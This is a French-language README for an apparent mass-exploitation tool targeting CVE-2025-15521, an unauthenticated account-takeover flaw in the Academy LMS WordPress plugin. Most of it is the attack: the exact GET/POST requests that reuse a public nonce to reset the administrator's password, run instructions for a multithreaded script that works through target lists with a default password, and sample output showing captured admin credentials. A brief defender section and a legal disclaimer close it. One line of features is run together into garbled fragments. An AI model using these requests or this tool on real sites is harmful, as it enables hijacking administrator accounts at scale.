
Le plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution pour WordPress est vulnérable à l'élévation de privilèges via une prise de contrôle de compte dans toutes les versions jusqu'à la version 3.5.0 incluse.
Le plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution pour WordPress est vulnérable à une escalade de privilèges via la prise de contrôle de compte dans toutes les versions jusqu'à et y compris la 3.5.0.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Suivez @KNxploited — Divulgations CVE et exploits fonctionnels, sans délai.
CVE-2025-15521 — Prise de contrôle de compte non authentifiée via la réinitialisation de mot de passe dans Academy LMS ≤ 3.5.0.
Le gestionnaire de réinitialisation du plugin authentifie la demande en utilisant uniquement un nonce exposé publiquement (academy_nonce) intégré dans les pages de cours. Aucun token envoyé à l'email de l'utilisateur. Aucune vérification de session. Aucune validation d'identité. Un attaquant qui lit une page de cours obtient un nonce valide, puis réinitialise le mot de passe de n'importe quel compte en fournissant un user_id — y compris user_id=1 (l'administrateur du site).
CVSS 3.1 : 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA : Wordfence
GET /course/any-course/
→ Le HTML contient : "academy_nonce": "a1b2c3d4e5" ← public, aucune authentification
POST /academy-retrieve-password/?user_id=1
new_password=<n'importe quoi>
confirm_new_password=<n'importe quoi>
security=a1b2c3d4e5 ← nonce accepté
→ Mot de passe pour user_id=1 modifié. Pas d'email. Pas de confirmation.
Le gestionnaire appelle wp_set_password() après avoir seulement vérifié wp_verify_nonce() sur un nonce diffusé à chaque visiteur. Il n'y a aucune vérification que l'utilisateur demandeur possède le compte en cours de modification.
academy_nonce actifuser_id cible avec un mot de passe choisi/?author=N et l'API REST (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — pas seulement une réponse 200pip install requests colorama urllib3
Python 3.8+ requis. Python 3.10+ recommandé.
python CVE-2025-15521.py
Vous serez invité à fournir :
Fichier de liste de cibles (une URL par ligne) : list.txt
Threads (sites simultanés) [5] : 10
Chemin du gestionnaire de réinitialisation [/academy-retrieve-password/] :
Chemin racine du cours (source de la clé) [/course/] :
Nombre max de sous-pages /course/ à analyser par site [15] :
user_id à réinitialiser (cible du gestionnaire) [1] :
Nouveau mot de passe à définir [adminSA] :
Délai d'attente HTTP (secondes) [10] :
Fichier de sortie [scan_results/academy_access_success.txt] :
Fichier de cibles — une URL par ligne, schéma optionnel :
https://target1.com
target2.com
https://target3.com/lms
Terminal — une ligne par cible, aucun mot de passe affiché :
[14:02:11] [https://target.com] CLÉ : OK | RÉINIT : OK | ACCÈS : 1 SUCCÈS
[14:02:13] [https://target2.com] CLÉ : ÉCHEC | RÉINIT : - | ACCÈS : 0 SUCCÈS
Fichier — uniquement les entrées d'accès confirmées :
[2025-04-18T14:02:11] https://target.com - compte=admin motdepasse=adminSA
Pour les défenseurs :
Bloquez ou surveillez les requêtes POST non authentifiées vers le point de terminaison de réinitialisation :
POST *academy-retrieve-password* avec paramètre : security=
Vérifiez l'exposition de rm_admin_order / academy_nonce dans le code source de la page de cours de votre thème. Si le nonce est visible sans être connecté, votre version est concernée.
Étapes de correction immédiates :
Cet outil est destiné uniquement à la recherche en sécurité autorisée et aux tests d'intrusion.
Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.
L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou illégale.
Une utilisation non autorisée enfreint le CFAA, le CMA, la Directive européenne 2013/40/UE, la Loi anti-cybercriminalité saoudienne n° M/17, et les lois équivalentes dans le monde entier.
Par Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Suivez @KNxploited sur Telegram pour les dernières CVE et publications d'exploits.